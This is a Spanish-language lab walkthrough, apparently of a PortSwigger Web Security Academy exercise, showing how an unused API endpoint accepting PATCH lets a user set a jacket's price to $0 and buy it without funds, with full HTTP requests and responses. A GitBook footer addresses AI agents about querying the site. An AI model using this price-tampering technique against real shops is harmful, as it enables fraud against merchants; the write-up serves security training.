> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/api-testing/discovery-and-exploitation-of-an-unused-api-endpoint.md).

# Descubrimiento y explotación de un endpoint de API no utilizado

### Encontrar y explotar un punto final de API sin usar

El objetivo de este laboratorio es operar un punto final de API oculto para comprar un **Chaqueta de cuero l33t ligera** sin fondos suficientes. / La autenticación se realiza con las siguientes credenciales:

* **Usuario**: wiener
* **Contraseña**: peter

Una vez iniciada la sesión, el saldo de la cuenta es **$**.

<figure><img src="/files/fa49b390cd0088ab2d3f7a4f6084d7e96cc25994" alt=""><figcaption></figcaption></figure>

#### Análisis del comportamiento de la aplicación

Al consultar el producto, la aplicación envía en segundo plano una solicitud de API para recuperar su precio.

<figure><img src="/files/0ab903d9c7ecb152d49f671b58f0ff5131beb6dc" alt=""><figcaption></figcaption></figure>

**Solicitud utilizada para mostrar el precio**

```bash
GET /api/products/1/price
```

**Respuesta del servidor**

{% code overflow="wrap" %}

```json
{
    "price":"$1337.00",
    "message":"&#x1F525; ¡Quedan 21 en stock, compra rápido! &#x1F525;"
}
```

{% endcode %}

<figure><img src="/files/84d5a4d980905f3f1c65c7f75247f33d7d019ddf" alt=""><figcaption></figcaption></figure>

#### Identificación de los métodos HTTP disponibles

Un **OPTIONS** se envía una solicitud para identificar los métodos permitidos en este punto final.

**Solicitud OPTIONS**

```bash
OPTIONS /api/products/1/price
```

**Respuesta**

El servidor indica que los siguientes métodos están permitidos:

* GET
* PATCH

<figure><img src="/files/4e6a90f45d0824cfdfbb6b3d85406c05aa027ae0" alt=""><figcaption></figcaption></figure>

Esto sugiere que es posible **modificar** modificar el precio del producto mediante una solicitud PATCH.

#### Modificación del precio mediante PATCH

A continuación, intentamos actualizar el precio del producto enviando una solicitud PATCH con un cuerpo JSON.

**Solicitud PATCH**

```http
PATCH /api/products/1/price
Host: 0abf000d04bd41568210d495001c000a.web-security-academy.net
Cookie: session=Ts7jyHfXOEyXqURmpAKf0SgO8DjhQYol

Content-Type: application/json
Content-Length: 22

{
	"price": "0
}
```

**Respuesta del servidor**

```http
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 17

{
    "price":"$0.00"
}
```

<figure><img src="/files/aa345eefc60db829983ee217ddcc158226cb08dd" alt=""><figcaption></figcaption></figure>

El precio del producto ahora está fijado en **$**.

<figure><img src="/files/daf6b17a2f59e10dafe686bed98827510cd1276e" alt=""><figcaption></figcaption></figure>

#### Compra del producto

Una vez cambiado el precio, es posible comprar el **Chaqueta de cuero l33t ligera** a pesar de la falta de crédito en la cuenta, lo que permite validar el laboratorio.

<figure><img src="/files/d7ea791cc71c4fa2ce3a4c54bb15aac6cc3dc15b" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/api-testing/discovery-and-exploitation-of-an-unused-api-endpoint.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
